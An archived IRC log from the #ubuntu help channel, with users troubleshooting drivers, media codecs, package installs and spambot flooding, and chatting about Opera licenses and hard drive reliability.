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black_13finally cowboy07:30
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cafuegoCheck out this wind!07:30
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brettTheCDswoulden't workfully, so Itried on a whim to get it to install via http using the cd as a start point :)07:30
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Luna-TickIf only backports kept up with the openoffice2 builds...07:31
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brettSorry aboutmy typing, this keyboard needsto be changed07:31
chrismysee you later guys and gals!:07:31
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Reilynblame it on the keyboard07:32
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lunitikLuna-Tick: breezy is frozen *cough* and is pretty stable *cough* *cough*07:32
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Ice9how do I find out if I want linux x86 or linux x86_64 drivers?07:32
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NoUseIce9 do you have a 64bit processor?07:32
lunitikLuna-Tick: only issue right now is Rhythmbox for me...07:32
Ice9I dunno, I have a 3.06 p407:33
Luna-Tickluni: yeah ... I have heard a few horror stories07:33
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NoUseIce9 no you don't07:33
cafuegoThen no, you don't.07:33
brettMy keyboard didn'tselect a 40 characterpassword,andthe space bar is the only problemkey(no spaces in the passwd)07:33
NoUseIce9 you want x8607:33
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Ice9okay07:33
Luna-TickI am quite happy with hoary, except for a few things that it would be nice to have the latest versions for07:33
Luna-TickAnd debs aren't so commonly released by developers07:33
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ReilynI think escort service should be in the next release.07:34
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Reilynaptget escort07:34
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dabarwhy would xmms not play sounds, look like it is playing a song, and there are other sounds on the computer?07:35
Reilynthe magic of debian07:35
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regeyasmeggin' hell.07:35
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ReilynI can't compile the AOL dialer source from Linspire.07:36
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regeyaSON OF A BITCH07:36
lunitikregeya: now now07:36
regeyalook07:36
bimberi!spam07:36
ubotu[spam]  Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter07:36
lunitikwhats wrong?07:36
regeyait's all coming from the same IP07:36
regeyathis isn't hard07:36
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lunitikregeya: blah... read the damn topic...07:37
dabarits not coming from the same IP.07:37
lunitikregeya: I recognize you... so you should know better07:37
dabarbut, dont go trolling now, regeya.07:37
Ice9how do I get the kernel headers? apt-get install kernel-headers-'uname -r' didn't work07:37
regeyawould if I could stay in channel07:37
regeyatrolling07:37
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regeyaTROLLIN.07:37
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regeyajeeziecow.07:38
tritiumIce9, you want linux-headers-$(uname -r)07:38
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tritiumnot kernel-headers...07:38
Reilyntrollin trollin trollin.....get those comments flowing....keep the bullshit rolling...RAWHIDE!07:38
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Ice9oh07:38
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regeyamy my my.07:38
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regeyaHave me wet, Reilyn?07:38
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regeyamet, even?07:38
regeyayikes.07:38
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regeyait's 12:30 a.m. and I'm at work.07:39
Reilynwe might have07:39
tritiumregeya, lucky you that you can use IRC at work07:39
ReilynI am new to the Ubuntu community07:39
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ReilynI am currently on Winblows07:39
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Reilyncause I have no net access. =/07:39
Myrttiregeya: its 0839 and I came from work hour and an half ago07:39
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Luna-TickSigh... well it looks like I will have to go back to m79 and upgrade again07:40
brettOhgod... Don'tsay winblows. It reminds me of #debian, andmyfirst attempts with Linux :)07:40
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Reilynhehe07:40
ReilynI am a debian newbie07:40
brownie17spammers gone?07:40
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brownie17nice!07:40
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Reilynit's funny, I feel more comfortable in dos than windows07:40
lunitikbrownie17: if you read the topic... they will be07:40
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cafuegobrownie17: Nah07:41
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ReilynBut I don't like the linux console (so far)07:41
brownie17lunatik: what happened to the unregged lobby  thing?07:41
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ReilynI just got to learn the commands07:41
lunitikReilyn: think the other way around... and you're fine...07:41
Luna-TickThanks anyway, guys. Ciao07:41
bimberibrownie17: all these quick joins/lefts are spammers07:41
xulMunkeewhat's with the ubuntu spamming?07:41
ReilynWhat is the other way around?07:41
bimberior spambots rather07:41
xulMunkeeyeah. what's going on?07:41
MadpilotReilyn: have a look here for linux commands: https://wiki.ubuntu.com/BasicCommands07:41
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lunitikReilyn: ls -l blah = ls blah /l in linux for instance (although, really, its dir blah /w  :/07:42
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brownie17kemik: i downloaded the thing in synaptic so i could listen to mp3's, and i can only listen to them in totem, not just "music player"07:42
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ReilynI thought I was retarded cause I couldn't compile the aol dialer from Linspire07:42
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Reilynbut there was no usable config file in it07:42
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ReilynIt was just duh07:42
kcidxcan anyone help me with a X problem i'm on breezy07:43
kcidxroot@ubuntu:/home/dave # fglrxinfo07:43
kcidxXlib:  extension "XFree86-DRI" missing on display ":0.0".07:43
kcidxdisplay: :0.0  screen: 007:43
kcidxOpenGL vendor string: Mesa project: www.mesa3d.org07:43
kcidxOpenGL renderer string: Mesa GLX Indirect07:43
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kcidxOpenGL version string: 1.2 (1.5 Mesa 6.2.1)07:43
kcidxroot@ubuntu:/home/dave #07:43
brownie17kcidx use pastebin07:43
Madpilot!pastebin07:43
ubotuI heard pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl07:43
brownie17!tell kcidx about pastebin07:43
xulMunkeehey does breezy fix rendering problems with unicode in GTK apps?07:43
lunitikbrownie17: 'sudo apt-get install gstreamer0.8-mad'07:43
kcidxbrownie17, thnx07:44
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brownie17ok? but i just did something like that in synaptic07:44
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Madpilotbrownie17: there are a whole bunch of gstreamer packages07:44
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brownie17madpilot: yeh i thought i did most of them07:44
lunitikMadpilot: he only needs -mad for mp3's...07:44
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brownie17lunitik: didn't work, ill give youy a pastebin07:45
lunitikbrownie17: universe enabled?07:45
kcidxthere is one error specific in the Xorg.log   (EE) fglrx(0): R200DRIScreenInit failed (DRI version = 5.0.0, expected 4.1.0). Disabling DRI.     any idea whats missing07:45
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brownie17!pastebin07:45
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ubotusomebody said pastebin was a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl07:45
Drazak_night07:45
lunitikbrownie17: go enable universe in /etc/apt/sources.list07:46
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brownie17lunitik: http://paste.ubuntulinux.nl/173907:46
lunitikbrownie17: remove the '#' at the start of the line07:46
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brownie17lunitik: i thought i did enable universe07:46
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lunitikbrownie17: blah... according to that... mp3's should work in Rhythmbox07:46
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brownie17lunitik: not rythm box, just the default installed "music player"07:47
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brownie17lunitik: i dunno07:48
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NoUse!mp307:48
ubotuI guess mp3 is read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support07:48
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Madpilotbrownie17: Rythymbox is the default "Music Player"07:48
brownie17nouse: read that, did what it said07:48
brownie17madpilot: thanx07:48
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lunitikNoUse: grrr... I already told him how to...07:48
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brownie17madpilot: it friggen works now07:49
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brownie17madpilot: bloody hell07:49
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brownie17madpilot: i cnat edit the "title" and "artist" tags in rythmbox, how do i do that07:50
tritiumbrownie17, try using easytag07:50
brownie17is it allready installed/07:50
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brownie17or do i use synaptic07:51
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brownie17tritium: do i have to use synaptic to download it?07:51
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NoUsebrownie17 yes07:51
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NoUsebrownie17 use synaptic07:51
Madpilotbrownie17: easytag is in Synaptic07:51
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brownie17madpilot: are most programs that have linux versions avbailable through synaptic?07:52
tritiumbrownie17, you don't _have_ to, as there are other methods, but I'd recommend that you use it07:52
lunitikbrownie17: over 8,000 of them are...07:52
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tritium16,00007:52
Madpilotbrownie17: possibly, it really depends. It's always worth checking Synaptic, though07:52
|Imp|i am a genium07:52
|Imp|er07:52
tritiumif you enable universe and multiverse07:53
|Imp|genius*07:53
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|Imp|anywho07:53
|Imp|i got around the craptastic hardware in my ubuntu box07:53
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Madpilota genius who can't spell? ;)07:53
lunitiktritium: Ubuntu doesn't include _all_ Debian packages... its about 7,500 actually...07:53
|Imp|but booting into the ubuntu07:53
tritiumlunitik, no, quite a bit more07:53
|Imp|and then using ubuntu run in virutal machine on a much more powerful machine07:53
|Imp|and using XDMCP07:53
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carthik!umode07:54
ubotuThe freenode user modes are described at http://freenode.net/using_the_network.shtml07:54
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lunitiktritium: I stand corrected... 17,464 ... how they get that many is beyond me...07:54
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tritiumheh ;)07:54
nentisgoing to reinstall hoary from x86 to amd64.  Is there an easy way to pull my list of installed packages and use that list to install the amd64 versions after installation?  Is it as easy as 's/i386/amd64/g'?07:54
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lunitiktritium: this is breezy ... but I was under the impression Sid only had 15,000 ish? and Ubuntu is a subset of Sid?07:55
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brownie17madpilot: is there a shortcut for show desktop, like start+D in windows?07:55
Madpilota keyboard shortcut? no idea, I've never checked, actually07:56
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Madpilotyou should have a 'go to desktop' button in the bottom-left corner of your screen, though - on the bottom taskbar07:56
lunitikbrownie17: that box in the lower left corner07:56
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tritiumlunitik, not entirely.  There are some packages in ubuntu that are not in debian07:56
brownie17madpilot: how could i find out?07:56
bimberibrownie17: <ctrl><alt>D07:56
brownie17lunitik: a keyboard shortuct?07:57
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brownie17bimberi: good on you07:57
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lunitikbrownie17: whatever you define it as... although what bimberi said is default07:57
bimberibrownie17: Systems -> Preferences -> Keyboard Shortcuts07:57
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aftertafmorning people :)07:57
bimberibrownie17: yw :)07:57
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carthikubotu keyboard shortcuts is modifiable at System -> Preferences -> Keyboard Shortcuts07:58
ubotuokay, carthik07:58
aftertaf!keyboard shortcuts07:58
ubotuI heard keyboard shortcuts is modifiable at System -> Preferences -> Keyboard Shortcuts07:58
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aftertafhehe07:58
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bimberiif only it could be made "are"07:58
bimberi:)07:59
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carthikubotu keyboard shortcuts is also at http://www.gnome.org/learn/access-guide/2.10/ch03.html#keynav-207:59
aftertaflol bimberi07:59
ubotuokay, carthik07:59
Madpilotall the people who come in and leave in ten seconds - that must be related to the spamming crap?07:59
HrdwrBoByes it is07:59
aftertafthat or somebody has forgotten to flush the toilet ;)08:00
dabarMadpilot: so it seems08:00
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aftertafcan't you turn off those announcements?08:01
lunitikaftertaf: they're not announcements08:01
lunitik!spam08:01
ubotuhmm... spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter08:01
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aruhonestly, I like to hear the latest porn ads08:02
aru...08:02
Ice9I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff08:02
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lunitikaru: cliphunter.com = free clip library08:02
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Madpilot!tell Ice9 about ati08:02
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aftertafthe joined/leaving messagethem?disable s.... can't08:03
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lunitikaru: the spammers are advertising pay-as-you-go porn (not that I clicked it)08:03
Ice9thanks Madpilot, but I've seen that about 10000000 times08:03
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brownie17madpilot: does synaptic include game? do you know any games for linux?08:03
MadpilotIce9: so it's still not working?08:03
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Ice9correct08:03
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brownie17madpilot: do you kno if there is a mario game for linux? that's my fav game of all time08:03
lunitikbrownie17: Wesnoth is rather nice  :)08:03
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lunitikbrownie17: supertux08:03
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Madpilotbrownie17: sure. search for "game" in Description & Name08:04
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lunitikbrownie17: although I can't beat the first level... always stuck at where you have to jump at the end  ;:(08:04
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brownie17lunitik: wisnoth and supertux are games, yes?08:04
kabayanbandung08:04
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lunitikbrownie17: yup... wesnoth is a tactics game... supertux is a platform08:04
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tritiumgood night...08:05
MadpilotWesnoth is *hard* - it looks pretty simple, but it's a really well designed game...08:05
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naliothnight, tritium08:05
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kabayanhotseved dal net08:05
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aftertafi hate this touchpad!!!08:05
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brownie17lunitik: so no mario!? shite08:05
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aftertafthe joined/leaving messages.... can't we disable them?08:06
lunitikbrownie17: you can find ROM's that work with zsnes ... but for the most part.. no08:06
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Madpilotbrownie17: I think SuperTux is mario-like - remember that someone actually owns "Mario", and isn't likely to share...08:06
Carpe_LibertatemHow can I get plugins for Music Player/Ryhthm Box? Why doesn't it include MP3 plugin by default? o_o08:06
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Dr_Williswow - this is getting nasty.. spamed befor i can even  +CE08:06
Madpilot!mp308:06
ubotusomebody said mp3 was read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support08:06
aftertafmp3 not free08:06
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MadpilotCarpe_Libertatem: see above with ubotu ^^^08:06
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naliothMadpilot: start using the msg feature in ubotu please (to cut down on channel clutter)08:07
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Madpilotnalioth: will do. with all the join/left crap it's hard enough to follow things...08:07
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Shinjanhi folks08:08
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aftertafMadpilot:  hence my question ... :)08:08
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Madpilotaftertaf: about hiding them? yeah...08:09
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fr500hello08:09
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kabayanbandung08:09
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fr500is there a way to make GTK1 apps look better in gnome?, i have seen many screenshots of programs  that don't look as bad as on my PC08:09
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brownie17madpilot: so if i download the SNES emulator through synaptic, i should be able to use normal roms from the internet? :) not that i would steal games!08:10
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Madpilotbrownie17: I guess that's how it works. Never been into the console stuff myself08:10
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omp342brownie17: i downloaded a genesis emulator and i can use normal roms (not that i would steal games!)08:10
lunitikbrownie17: yes... exactly... although its almost more trouble than its worth....08:10
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fr500how do i report spmmaers and such, some bots spamming with s**cams and stuff08:11
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omp342i don't even use ubuntu, i don't know why i'm here :)08:11
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brownie17lunitik: mario and bomberman are never more trouble then they are worth. i have psnet probably over 200 hours of my life playing mario08:11
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moZerrunning ubuntu breezy, with nvidia-glx 7667 + RenderAccel enabled + libglitz1-glx + libcairo2-1.0.0 rebuilt with --enable-glitz08:11
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lunitikfr500: lilo (the guy that maintains freenode) is well aware of it... and is working on a long term solution...08:11
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lunitik!spam08:11
ubotuit has been said that spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter08:11
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moZerwould that setup utilize openGL hardware acceleration of 2d graphics, or is some part missing or not yet implemented?08:11
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moZer!spam08:11
lunitikfr500: thats the short term version though08:11
fr500lunitik, ok08:11
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omp342CE??08:11
omp342whats the C for?08:12
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omp342i just have +E now08:12
nalioths_dogmuch nicer08:12
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lunitikomp342: no ctcp's from non-registered users08:12
ksmurf!nvidia08:12
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ubotuwell, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia08:12
omp342!umodes08:12
ubotuomp342: Do they come in packets of five?08:12
naliothomp342: +C keeps unregged users from CTCPing you, and +E is for PMs08:12
omp342ahh08:12
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brownie17naliothL finally we know what the c does!08:12
omp342i just have +E and i've been fine :)08:12
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naliothto prevent spambot annoyance, see /topic or set yourself +CE08:13
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brownie17g2g you guys!08:13
brownie17cya08:13
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omp342if you guys make this channel +r, no bots would even come in to collect usernames08:13
Dr_Willisim stil trying to figure out how to make xchat, run several commands at start up :P identify then set myself +CE08:13
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fr500ok08:13
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fr500now again08:13
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fr500how do i report spmmaers and such, some bots spamming with s**cams and stuff08:13
fr500oppps08:13
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naliothomp342: and no unregged users would come in either08:13
fr500sorry08:14
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fr500wrong message08:14
omp342nalioth: i know :P08:14
naliothomp342: so defeating the purpose of a help channel for new users08:14
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omp342well, it's not hard for them to register :)08:14
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omp342that's how #gentoo has been for the last 2-3 days and it's been fine08:14
aftertafbut can't we use a setting to block out these entry/quit messages?08:14
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fr500is there a way to make GTK1 apps look better in gnome?, i have seen many screenshots of programs  that don't look as bad as on my PC, mine look all square messages and icons, while the screenshots i have seen seem to use the themes08:14
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omp342i haven't used ubuntu for about 2 weeks now =/08:15
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Dr_Willisblasphmy!08:16
omp342ahh this is getting annoying...08:16
omp342all these enter/quit messages08:17
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Belutzanyone using beep media player?08:17
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Dr_Willis:)08:17
aruBelutz: yup :)08:17
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fr500Belutz, me08:17
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omp342i don't have any songs on my computer :P08:17
benplautopera giving out free registration codes in about an hour08:17
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Madpilotbenplaut: seriously?08:17
benplautyeah08:18
benplauthttp://www.download.com/Opera/3000-2356_4-10421507.html08:18
benplautread at the bottom08:18
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benplautall credit to subdue in #zaurus :)08:18
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omp342ehh08:18
Dr_Willishmmm08:18
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omp342i prefer firefox :)08:19
Madpilotbenplaut: cool. makes it even more worth it to stay up late!08:19
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Dr_Willismakes ya wonder if its legit. :P08:19
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benplautit's on download.com :P08:19
benplautno, no, no...08:19
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benplautmytrashmail.com08:19
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Madpilotomp342: Firefox isn't bad, in a few years it'll have caught up to where Opera is now ;)08:19
Belutzaru, fr500 : what's the different between bmp and xmms?08:19
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Dr_Willisabcdefghijklmnopqrstuvwxyz.com  - for email!08:19
Dr_WillisLO08:19
benplautomp342, so do i, but... what the h*ll?! it's free!08:20
fr500Belutz, usability i think, beep looks more user friendly08:20
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aruBelutz: from my understanbding beep is the newer xmms08:20
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fr500some strange issue with firefox, when i run it on gnome, a java applet i use  looks like cr*p, when i use the same firefox in te same pc, same applet, looks way better08:20
Belutzic08:20
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aruBelutz: and from my spelling I would say I'm done08:20
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omp342i'm going to get it08:20
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omp342even though i won't use it :)08:20
Belutzaru, fr500: i've been reading the forums, and most of them do not recommend installing xmms, i like to know why...08:21
aruBelutz: my opinion, it's old08:21
Belutzaru: ic08:21
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fr500Belutz, i have both, but i use only beep08:22
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Belutzaru, fr500: do know where i could find the plugins for bmp?08:22
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aruBelutz: what plugins, mp3?08:22
Belutz*do you know08:22
omp342is it not already 12:00am PDT?08:22
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Belutzaru: no, mp3 works fine, other plugins08:23
aftertaftrue xmms is a bit ugly and dates now.08:23
fr500Belutz, in the wiki page08:23
aftertaf!beep08:23
ubotuI don't know, aftertaf08:23
aruomp342: 11:23pm08:23
Belutzaru: i can't stream using bmp, but i can do it with xmms08:23
lunitik!bmp08:23
ubotubmp is, like, totally, a guide to Beep Media Player and Plugins, at https://wiki.ubuntu.com/BeepMediaPlayer08:23
omp342cause according to internet, PDT is utc -708:23
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lunitikaftertaf: thats likely what you want08:23
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omp342PST (11:23pm - where i am)  is UTC -808:23
aftertafhehe lunitik ;)08:23
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aftertafGMT +108:23
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fr500Belutz, i thould work fine (for playing streams)08:24
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Madpilotomp342: Daylight Savings - we're -7 for a while, not -808:24
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fr500how do i change GTK1.x themes?08:24
omp342oh08:24
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pprince_Could someone tell me if they can resolve hope4gorilla.tweakism.com ?08:24
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omp342Madpilot: stupid me :)08:24
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aftertafpprince_:  trying08:25
Belutzic08:25
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Belutzaru, fr500: thx for the input :)08:25
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aftertafpprince_:  Your requested host "hope4gorilla.tweakism.com" could not be resolved by DNS.08:25
pprince_aftertaf: are you sure? ...08:25
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fr500Belutz, no prob08:26
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fr500how can i change gtk1 themes08:26
fr500?08:26
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omp342i always thought opera was free08:27
omp342i guess im wrong08:27
dell500wow these spammers are really annoying08:27
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aftertafthats what my proxy said..08:27
dell500how do I get a Belkin Wireless G (F5D7000) to work?08:27
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NoUsedell500 there are some blocking instructions in the topic08:27
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Madpilotomp342: free but there's a two line text ad across the top...08:28
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dell500aw thanks08:28
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omp342Madpilot: oh08:28
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omp342i assume i'm the only one here not using ubuntu? :)08:28
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dell500so how do i get the belkin wireless to work08:28
Reilynno, I am not on ubuntu now08:29
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Reilynonly cause I don't have net access at the moment08:29
omp342i mean i don't use it at all :/08:29
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ztonzyhmm anyone else getting spammed ?08:29
Reilynvia ubu08:29
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omp342i use gentoo08:29
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omp342ztonzy: /mode ztonzy +CE08:29
omp342write that08:29
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omp342it will stop them from spamming you08:29
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ztonzyomp342, thanks08:29
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Chrusthino|gayse|nick Chrustinho08:29
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NoUsedell500 a quick google search revealed: http://www.linuxant.com/driverloader/08:30
omp342!spam08:30
ubotuspam is, like, Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter08:30
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ztonzyomp342, in xchat, where can I set this ?08:30
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brownie17madpilot: i installed snes9x, but it doesnt appear in the games menu, where will it appear08:30
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jiggafellzis there a ctrl+alt+del type command for ubuntu?08:31
lunitikztonzy: just type what it says08:31
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lunitikjiggafellz: ctrl + alt + backspace08:31
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Reilynya, reach over and press your reset button =)08:31
Madpilotbrownie17: haven't a clue... try "man snes9x" in a terminal08:31
jiggafellzty lunitik08:31
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lunitikjiggafellz: although... that doesn't shutdown the box... just X08:31
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ztonzylunitik, did, but for future08:31
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NoUseztonzy just type it in to your text box08:31
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omp342ztonzy: just type it08:32
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brownie17!pastebin08:32
ubotumethinks pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl08:32
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ztonzywell I have08:32
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ztonzy:-\08:32
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aftertaftry /umode +CE08:32
jiggafellzi have ubuntu on my primary slave.  my primary master is formatted to NTFS.  how hard is it to mount the primary master?08:32
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brownie17madpilot: http://paste.ubuntulinux.nl/174008:32
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NoUse!tell jiggafellz about ntfs08:33
dell500NoUse, that didn't really tell me anything about my card though08:33
aru!ntfs08:33
ubotuwell, ntfs is the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.08:33
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brownie17madpilot: whats what showed up, but what good does that do me?08:33
aftertaf!tell jiggafellz about mount08:33
NoUsedell500 thats the driver you need08:33
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Madpilotbrownie17: scroll down, there should be more man page below08:35
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omp34225 minutes08:35
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maximausHey all, just logged onto freenode for a bit of #ubuntu lurkage, being majorly /msg spammed. Any suggestions? On Xchat, btw.08:36
NoUse!tell maximaus about spam08:36
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TrippI try to use wvdial, but I get a message saying /dev/modem file or directory does'nt exist, any ideas????08:37
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brownie17maximus: follow instructions in topic ::: /umode +ce08:37
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TrippAnyone?08:38
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NoUseTripp your modem wasn't detected08:38
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TrippYea, I tried auto detect.08:38
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TrippIs there anything I can do??08:39
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NoUse!dialup08:39
uboturumour has it, dialup is https://wiki.ubuntu.com//DialupModemHowto08:39
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maximaus /umode +CE08:39
laxisehi08:39
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NoUsecheck that out, maybe you have a winmodem or something08:39
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TrippOk08:39
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maximaus /umode +CE08:40
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dell500NoUse, i'll do it tomorrow, too tired :) thanks though08:40
NoUsedell500 sure08:40
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laxisehey does anyone know how to set up sound system to 2+1(bass) insted of only two speakers cause its not08:42
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aftertaffound a python script on xchat site to redirect presence notification :)08:42
laxisereally a good sound08:42
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brownie17madpilot: there is more, but it is only jargon about startup options08:43
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NoUselaxise usually the bass isn't handled by the computer08:43
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Madpilotbrownie17: hit google, I've never used any of that emulation stuff08:45
laxiseNoUse: hm ... i dont think so cause my speaker are trying to play bass and my bass is not playing at all08:45
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Seveasbenplaut, switch of that obnoxious script08:45
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brownie17nalioth: i download SNES with synaptic, but it didnt appear in my games menu, do you know how i can open it?08:45
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benplautwoops08:45
brownie17madpilot: thanx for your help08:46
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benplautdidn't know the applet did that08:46
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Razor-X`wow, all these spammers....08:46
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Seveasdamnit08:46
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Seveasfreenode had those privmsges disabled08:46
bimberiHi Seveas, feel like banning a few of these IPs (eg. 210.5.111.171 )08:46
NoUselaxise my 2+1 system worked just fine, check your eq settings or something08:46
laxiseNoUse: problem solved .... found some instructions08:46
NoUselaxise cool08:47
brownie17nalioth_wrkn, whats with the new name?08:47
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laxiseNoUse: thx for trying to help but u were right setting problem08:47
benplautk, it's off :)08:48
MadpilotSeveas: so we're back to using -unregged as a filter?08:48
NoUsebrownie17 try reseting the panel via killall gnome-panel08:48
Seveasyeah08:49
brownie17nouse: didn't have to do that crap with other synaptic installations, why this differnet, how i do that? got any guides? brb08:49
omp34210 minutes left =o08:50
NoUsebrownie17 it just needs to get restarted sometimes after installations08:50
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NoUsebrownie17 run ' killall gnome-panel' in the console08:50
brownie17nouse: allready did that, it didnt work08:51
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NoUsebrownie17 so just zsnes or whatever its called from the console08:51
brownie17nouse: some other porgrams that should have appeared did though, just not snes9x08:51
brownie17nouse, i think i might understand, but why can't i get it in the menu?08:52
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NoUsebrownie17 you can add it with smeg08:52
NoUse!smeg08:52
ubotuI guess smeg is a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.08:52
brownie17nouse, smeg something from synaptic?08:53
omp342NoUse: smeg requires an older unstable version of python (at least that's what i remember)08:53
NoUsebrownie17 most everything comes from synaptic08:53
benplaut8.x still not out?08:53
aruaru gnome will trouch you in an almost perverted way, that is how you know... you have found desktop mecca08:53
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brownie17!pastebin08:55
ubotupastebin is, like, totally, a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl08:55
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Reilynyes, perverted touching = mecca08:55
gn0meI tried installing the new ATI drivers (using the distro-specific option) and it doesn't work.  Anyone know what to do?08:55
brownie17nouse: http://paste.ubuntulinux.nl/174108:56
NoUsebrownie17 hmm never seem that before08:56
brownie17who should i ask about it then?08:56
NoUsebrownie17 check the forums08:57
brownie17nouse: who should i ask about it then08:57
brownie17nouse: ok08:57
brownie17nouse: i might ask around a bit first, forums seem to be too restricted for me08:57
brownie17madpilot: http://paste.ubuntulinux.nl/174108:57
NoUsebrownie17 restricted?08:57
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brownie17nouse: the just seem to impersonal for me08:58
brownie17madpilot: http://paste.ubuntulinux.nl/174108:59
Madpilotbrownie17: I've never tried to install smeg, no idea what that means...08:59
brownie17madpilot: ok08:59
NoUsebrownie17  you might want to check your repositories too08:59
NoUse!repos08:59
ubotuI guess repos is at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/96908:59
cafuego!smeg09:00
ubotusmeg is, like, a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.09:00
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omp342its past 12:00 am !!!!09:01
Reilynthat is not smeg09:01
NoUseomp342 shocking09:01
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omp342NoUse: that means09:02
omp342NoUse: opera is free09:02
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bjvis there a pretty painless way to enable software raid in the kernel?09:02
NoUseomp342 free but not Free09:02
lunitikReilyn: ?? erm, yes it is... and its included in Ubuntu  :)09:02
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omp342NoUse: ?09:03
lunitikReilyn: Ubuntu Breezy*09:03
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NoUseomp342 its free as in no cost, but its not Free as in Free Software09:03
lunitik*pats his clean menu's*09:03
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omp342Should I download opera if i'm not going to use it? :)09:04
omp342firefox is so much better09:04
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lunitikcafuego: you familier with smeg? any way to edit System menu's?09:04
NoUseomp342 indeed09:04
Reilynhow is it so much better?09:05
NoUseReilyn firefox follows web stanards much better09:05
lunitikReilyn: not as bloated by default... but you can add almost any feature you could imagine to it via extensions...09:05
ReilynI believe OPera supports W3C standards09:05
lunitikReilyn: its cleaner... makes more sense from a UI POV09:05
aimazlunitik, wasn't that firefox's original idea?09:05
lunitikReilyn: want me to go on?09:05
NoUseReilyn not as well as Firefox09:05
lunitikaimaz: indeed09:06
aimazi hear that firefox 1.1 will be less weighty09:06
ReilynI haven't had problems with opera, except with IE sites.09:06
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lunitikNoUse: actually... I think Opera can use Gecko or MSHTML09:06
ReilynI like how fast it loads pages.09:06
lunitikReilyn: new opera can use MSHTML09:06
brownie17nouse: don't worry, i got a better emulator :)09:07
syn-ackOpera is slow and a lot doesnt render as cleanly as Firefox09:07
ReilynI am using 8.0209:07
NoUseoh joy, MSHTML the worse HTML renderer of all09:07
lunitikNoUse: indeed  :)09:07
jiggafellzwhat brand HDD do you guys recommend?  i've had enough of WD160's09:07
MadpilotOpera has its own rendering engine, AFAIK09:07
ReilynOpera is faster than firefox on my system09:07
ReilynYes, it does09:07
maximausit's faster on mine too, but I still prefer FF. :P09:07
lunitikReilyn: cool... hey, if you want to use Opera... thats your perogative... please drop the subject though.09:08
syn-ackAnd the fact that its not free pisses me off09:08
cafuegojiggafellz: Well, I find WDs very, very nice. fast and quiet. I do only have 80GB models, though.09:08
maximausThe ad banner is teeny, and honest, no biggie.09:08
aimazjiggafellz, I quite like the latest Maxtor ones, apparantly they have special bearing that makes them last longer, but some people don't like them09:08
ReilynI like how firefox is a clean framework to start from.09:09
ReilynIt's really YOUR browser09:09
lunitikReilyn: number one reason Opera sucks?  ad supported!09:09
bjvjiggafellz: i recommend anything with a 3-5 year warrenty09:09
syn-ackMaxtor is evil09:09
maximausjust joined--so I can trust the latest Maxtors?09:09
ReilynI support cracks =)09:09
lunitikReilyn: and don't tell me about getting a crack... stealing software is illegal...09:09
aimazsyn-ack, how come?09:09
ReilynYes it is.09:09
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lunitikReilyn: bah... I hope you end up in court for that.09:09
ReilynI did buy opera v609:09
Reilynhaha09:10
lunitikReilyn: they want you to buy all versions...09:10
syn-ackaimaz: EVERY Maxtor drive Ive had has crapped out on me 6 months after I bought it09:10
jiggafellzthanks for the input guys.  i'm scared of maxtor and i've always trusted WD but over the past couple of years, they've been dropping like flies.09:10
lunitikReilyn: you have fun with that09:10
Agrajaglunitik: crack?09:10
brownie17nouse: whats was that command for resetting the gnome menu again sorry?09:10
omp342You can get opera for free today without ads, but the fact still remains that opera is crap.09:10
Agrajaglunitik: you can get a free key today09:10
cafuegolunitik: No, I've been able to use my opera v6 key all the way through to 8.x09:10
NoUsebrownie17 'killall gnome-panel'09:10
jiggafellzseagate has a nice 5yr warranty.09:10
bjvmaxtor, WD, eh. they are both not that great in some cases.09:10
syn-ackIm still a WD weenie09:10
brownie17agrajag: we all know how to get illegal free keys, but i feel bad when i do, becasue opera is just trying to get along09:10
Agrajaganyone who wants free opera key, go here: http://www.download.com/Opera/3000-2356_4-10421507.html?tag=excl09:10
ReilynCafugo, I lost my key09:10
Agrajagbrownie17: this is legal09:11
jiggafellzi'll go with their SATA drives.09:11
bjvyeah, all i know is im still running / and /home off the same old 20gb seagate.09:11
ReilynSO I guess I am in compliance09:11
Agrajagit's opera's 10th anniversary, they're giving out free keys09:11
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maximausmy maxtor died exactly one day after the 3 year warranty a week ago. :o09:11
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ReilynI'm just not using my license, hehe09:11
Agrajagjust send an email to registerme@opera.com in the next 24 hours.09:11
brownie17agrajag: really? how's that?09:11
AgrajagI sent one out, but haven't got a replay yet.09:11
Agrajager, reply09:12
omp342I have a Hitachi SATA hard drive and i love it :)09:12
syn-ackI like the Raptor line of HDDs. they are good and strong and have never given me hassles09:12
aimazI think most hard drives crap out soon after three years these days09:12
Madpilotbrownie17: check this page for the Opera details: http://www.download.com/Opera/3000-2356_4-10421507.html09:12
aimazespecially the sub 70 ($140) ones09:12
syn-ackomp342: HAHA, you're using the DeathStar and you LIKE it?09:12
aimazmy seagate died about 3 years after I bought it09:13
ReilynThey rebuilt the Deathstar you know. =P09:13
syn-ackReilyn: That doesnt make me trust is any more. :p09:13
ReilynI have 2 gb drives that still work09:13
MadpilotReilyn: and then it got blown up again... ;)09:13
maximausaimaz,  yeah mine went with zero warning. nothing recoverable. :(09:14
aimazbefore that i had fujitsu and that last about 509:14
Reilynhhaha, true09:14
aimazbut that was OLD09:14
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deufohi peeps, for some reason, my wireless card keeps turning off09:14
aimaz6Gb and it was huge when it came out09:14
omp342Hitachi is not bad at all.. :P09:14
deufoanyone know how to solve?09:14
syn-ackaimaz: I like Fujitsu. They seem to make some nice strong drives09:14
ReilynMy 2.6 gb drive is a fujitsu09:14
